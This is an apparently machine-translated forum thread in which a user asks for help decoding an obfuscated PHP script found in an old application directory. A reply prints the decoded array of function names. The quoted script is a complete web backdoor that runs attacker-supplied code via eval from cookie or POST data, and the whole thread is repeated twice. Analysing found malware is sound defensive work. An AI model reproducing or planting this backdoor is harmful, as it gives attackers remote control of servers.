解码加密的恶意脚本
Decoding encrypted malicious script
我在我的旧应用程序目录中发现了一个 2017 年的脚本。它显然是恶意的,有人可以帮助解码它吗?重要部分编码在第一个字符串中,但我无法使用任何在线解码工具对其进行解码。它可能会创建一个目录数组?并出于任何原因设置 cookie。我很好奇这样做的目的是什么
$zkvaoku='li94f*50\'rng-_2dmxcv8uo1k3Hpb#sae6yt';
$crsqpj=Array();
$crsqpj[]=$zkvaoku[26].$zkvaoku[5];
$crsqpj[]=$zkvaoku[29];
$crsqpj[]=$zkvaoku[7].$zkvaoku[2].$zkvaoku[4].$zkvaoku[14].$zkvaoku[25].$zkvaoku[33].$zkvaoku[2].$zkvaoku[7].$zkvaoku[12].$zkvaoku[15].$zkvaoku[23].$zkvaoku[33].$zkvaoku[33].$zkvaoku[12].$zkvaoku[3].$zkvaoku[4].$zkvaoku[3].$zkvaoku[20].$zkvaoku[12].$zkvaoku[31].$zkvaoku[20].$zkvaoku[2].$zkvaoku[18].$zkvaoku[12].$zkvaoku[6].$zkvaoku[18].$zkvaoku[3].$zkvaoku[7].$zkvaoku[32].$zkvaoku[7].$zkvaoku[20].$zkvaoku[7].$zkvaoku[20].$zkvaoku[33].$zkvaoku[7].$zkvaoku[28];
$crsqpj[]=$zkvaoku[18].$zkvaoku[22].$zkvaoku[21].$zkvaoku[10].$zkvaoku[35];
$crsqpj[]=$zkvaoku[30].$zkvaoku[35].$zkvaoku[9].$zkvaoku[13].$zkvaoku[9].$zkvaoku[32].$zkvaoku[27].$zkvaoku[32].$zkvaoku[31].$zkvaoku[35];
$crsqpj[]=$zkvaoku[32].$zkvaoku[17].$zkvaoku[27].$zkvaoku[0].$zkvaoku[22].$zkvaoku[15].$zkvaoku[32];
$crsqpj[]=$zkvaoku[30].$zkvaoku[21].$zkvaoku[28].$zkvaoku[30].$zkvaoku[35].$zkvaoku[9];
$crsqpj[]=$zkvaoku[31].$zkvaoku[9].$zkvaoku[9].$zkvaoku[31].$zkvaoku[34].$zkvaoku[13].$zkvaoku[16].$zkvaoku[32].$zkvaoku[9].$zkvaoku[11].$zkvaoku[32];
$crsqpj[]=$zkvaoku[30].$zkvaoku[35].$zkvaoku[9].$zkvaoku[0].$zkvaoku[32].$zkvaoku[10];
$crsqpj[]=$zkvaoku[27].$zkvaoku[31].$zkvaoku[18].$zkvaoku[24];
foreach($crsqpj[7]($_COOKIE,$_POST) as $qxmpsom=>$laqeud) {
function vlriqj($crsqpj,$qxmpsom,$lrkqaso) {
return $crsqpj[6]($crsqpj[4]($qxmpsom.$crsqpj[2],($lrkqaso/$crsqpj[8]($qxmpsom))+1),0,$lrkqaso);
}
function pajbr($crsqpj,$olzmly) {
return @$crsqpj[9]($crsqpj[0],$olzmly);
}
function pzdratz($crsqpj,$olzmly) {
$losvhfn=$crsqpj[3]($olzmly)%3;
if(!$losvhfn) {
eval($olzmly[1]($olzmly[2]));
exit();
}
}
$laqeud=pajbr($crsqpj,$laqeud);
pzdratz($crsqpj,$crsqpj[5]($crsqpj[1],$laqeud^ vlriqj($crsqpj,$qxmpsom,$crsqpj[8]($laqeud))));
}
如何在这个字符串中找到用户是什么类型的编码器?
$zkvaoku='li94f*50\'rng-_2dmxcv8uo1k3Hpb#sae6yt';
脚本开头的 $zkvaoku
字符串未采用任何 "traditional" 编码。如果您查看它后面的语句块,直到 foreach
循环,您会发现它用于动态构造一个更具可读性的字符串数组。
如果在此块之后打印 $crsqpj
的内容,您将看到以下内容:
Array (
[0] => H*
[1] => #
[2] => 09f23690-d166-4f48-a89c-5c40e080860b
[3] => count
[4] => str_repeat
[5] => explode
[6] => substr
[7] => array_merge
[8] => strlen
[9] => pack
)
现在您可以开始了解如何使用这些字符串来动态调用函数了。
我在我的旧应用程序目录中发现了一个 2017 年的脚本。它显然是恶意的,有人可以帮助解码它吗?重要部分编码在第一个字符串中,但我无法使用任何在线解码工具对其进行解码。它可能会创建一个目录数组?并出于任何原因设置 cookie。我很好奇这样做的目的是什么
$zkvaoku='li94f*50\'rng-_2dmxcv8uo1k3Hpb#sae6yt';
$crsqpj=Array();
$crsqpj[]=$zkvaoku[26].$zkvaoku[5];
$crsqpj[]=$zkvaoku[29];
$crsqpj[]=$zkvaoku[7].$zkvaoku[2].$zkvaoku[4].$zkvaoku[14].$zkvaoku[25].$zkvaoku[33].$zkvaoku[2].$zkvaoku[7].$zkvaoku[12].$zkvaoku[15].$zkvaoku[23].$zkvaoku[33].$zkvaoku[33].$zkvaoku[12].$zkvaoku[3].$zkvaoku[4].$zkvaoku[3].$zkvaoku[20].$zkvaoku[12].$zkvaoku[31].$zkvaoku[20].$zkvaoku[2].$zkvaoku[18].$zkvaoku[12].$zkvaoku[6].$zkvaoku[18].$zkvaoku[3].$zkvaoku[7].$zkvaoku[32].$zkvaoku[7].$zkvaoku[20].$zkvaoku[7].$zkvaoku[20].$zkvaoku[33].$zkvaoku[7].$zkvaoku[28];
$crsqpj[]=$zkvaoku[18].$zkvaoku[22].$zkvaoku[21].$zkvaoku[10].$zkvaoku[35];
$crsqpj[]=$zkvaoku[30].$zkvaoku[35].$zkvaoku[9].$zkvaoku[13].$zkvaoku[9].$zkvaoku[32].$zkvaoku[27].$zkvaoku[32].$zkvaoku[31].$zkvaoku[35];
$crsqpj[]=$zkvaoku[32].$zkvaoku[17].$zkvaoku[27].$zkvaoku[0].$zkvaoku[22].$zkvaoku[15].$zkvaoku[32];
$crsqpj[]=$zkvaoku[30].$zkvaoku[21].$zkvaoku[28].$zkvaoku[30].$zkvaoku[35].$zkvaoku[9];
$crsqpj[]=$zkvaoku[31].$zkvaoku[9].$zkvaoku[9].$zkvaoku[31].$zkvaoku[34].$zkvaoku[13].$zkvaoku[16].$zkvaoku[32].$zkvaoku[9].$zkvaoku[11].$zkvaoku[32];
$crsqpj[]=$zkvaoku[30].$zkvaoku[35].$zkvaoku[9].$zkvaoku[0].$zkvaoku[32].$zkvaoku[10];
$crsqpj[]=$zkvaoku[27].$zkvaoku[31].$zkvaoku[18].$zkvaoku[24];
foreach($crsqpj[7]($_COOKIE,$_POST) as $qxmpsom=>$laqeud) {
function vlriqj($crsqpj,$qxmpsom,$lrkqaso) {
return $crsqpj[6]($crsqpj[4]($qxmpsom.$crsqpj[2],($lrkqaso/$crsqpj[8]($qxmpsom))+1),0,$lrkqaso);
}
function pajbr($crsqpj,$olzmly) {
return @$crsqpj[9]($crsqpj[0],$olzmly);
}
function pzdratz($crsqpj,$olzmly) {
$losvhfn=$crsqpj[3]($olzmly)%3;
if(!$losvhfn) {
eval($olzmly[1]($olzmly[2]));
exit();
}
}
$laqeud=pajbr($crsqpj,$laqeud);
pzdratz($crsqpj,$crsqpj[5]($crsqpj[1],$laqeud^ vlriqj($crsqpj,$qxmpsom,$crsqpj[8]($laqeud))));
}
如何在这个字符串中找到用户是什么类型的编码器?
$zkvaoku='li94f*50\'rng-_2dmxcv8uo1k3Hpb#sae6yt';
脚本开头的 $zkvaoku
字符串未采用任何 "traditional" 编码。如果您查看它后面的语句块,直到 foreach
循环,您会发现它用于动态构造一个更具可读性的字符串数组。
如果在此块之后打印 $crsqpj
的内容,您将看到以下内容:
Array (
[0] => H*
[1] => #
[2] => 09f23690-d166-4f48-a89c-5c40e080860b
[3] => count
[4] => str_repeat
[5] => explode
[6] => substr
[7] => array_merge
[8] => strlen
[9] => pack
)
现在您可以开始了解如何使用这些字符串来动态调用函数了。